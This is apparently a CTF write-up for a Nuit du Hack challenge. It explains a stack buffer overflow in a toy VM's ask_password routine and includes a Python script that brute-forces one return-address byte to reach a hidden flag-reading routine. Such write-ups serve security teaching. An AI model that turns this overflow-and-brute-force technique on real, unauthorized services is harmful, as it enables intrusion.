After solving the Vigenère level earlier, I decided to connect to sciteek.nuitduhack.com:4000, which is mentioned there.
I used my web browser to request the following:
And the response was:
Welcome on Sciteek' SciPad secure shell ! Please enter your passphrase: [91m[!] Segfault 0x4443 (opcode unknown)[0m
So the Segfault code is formed by the characters “CD” of the URL I requested.
Then I remembered the assembly code shown in the Vigenère level:
; this routine asks for a password and put the address in r5 and the size in r0 .label ask_password ; display a prompt movl r0, :pwd_msg call :print ; allocate some space on stack subb sp, #8 mov r5, sp movl r0, stdin mov r1, r5 movb r2, #10 ; read the password from stdin call :read ; restore the stack pointer addb sp, #8 ; return ret ; our main ; ; basically, this program does nothing useful ... it is just a sample 😉 .label main ; display a welcome message movl r0, :welcome call :print ; ask for a password call :ask_password ; displays an error movl r0, :error call :print ; quit end ; temp routine (not used anymore) .label temp_routine movl r0, :flag_file call :disp_file_content end .label welcome .db "welcome on sciteek' scipad secure shell !",0x0a,0 .label pwd_msg .db "please enter your passphrase: ",0 .label error .db "nope. it is not the good password",0x0a,0 .label hint .db "sciteek.nuitduhack.com:4000",0 .label flag_file .db "esoasoel.txt",0
Seems like that program is the one that is running on the remote server, serving our requests. The program calls the ask_password function, which reserves an 8-bytes buffer in the stack, and then reads characters from the standard input (in this case, our request). Looks like our mission is to execute the temp_routine function, although it is never called.
Since the ask_password function copies input from stdin to a 8-byte buffer in the stack without performing proper checks, there’s a buffer overflow in there.
If we send 9 bytes in our request, we’ll overwrite one single byte of the return address stored on the stack. The idea is to make the ask_password function return to the temp_routine function (which will show us the contents of a so-called flag_file), instead of landing where it should under a normal execution:
; displays an error movl r0, :error call :print
So I made a Python script that will connect to the service and send 8 fixed bytes + 1 more byte that will bruteforce from 0x0 to 0xFF, willing to change the least-significant byte of the return address, making it point to the address of the temp_routine function. Of course I’m relying on the hope that ask_password and temp_routine are located on the same 16-bit segment.
import socket import time packet = """GET /?AB""" for i in range(256): print "--> i: %d" % i s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('sciteek.nuitduhack.com', 4000)) s.send(packet + chr(i)) received = s.recv(4096) received2 = s.recv(4096) s.close() print "received %s bytes" % len(received) print received print "received %s bytes" % len(received2) print received2 print '\n\n\n' time.sleep(3)
With i = 0xDB we receive the content of esoasoel.txt, the flag file:
Welcome on SciPad Shell, root. The path of the righteous man is beset on all sides by the inequities of the sel fish and the tyranny of evil men. Blessed is he who, in the name of charity and good will, shepherds the weak through the valley of darkness, for he is truly hi s brother's keeper and the finder of lost children. And I will strike down upon thee with great vengeance and furious anger those who would attempt to poison an d destroy My brothers. And you will know My name is the Lord when I lay My venge ance upon thee. - God (f98eb53e7960c9a663c60a916b6de70e) Be careful, this service is not protected by any option, to avoid exploitation p lease use the new version of this shell available on sciteek.nuitduhack.com:4004 . This service runs in a vm with stack layout randomization which is more secure Something's fucked up ('cause our developers drink too much beer). Try later. Or not.
After sending that MD5 hash (f98eb53e7960c9a663c60a916b6de70e) to Piotr, I received 1700 points.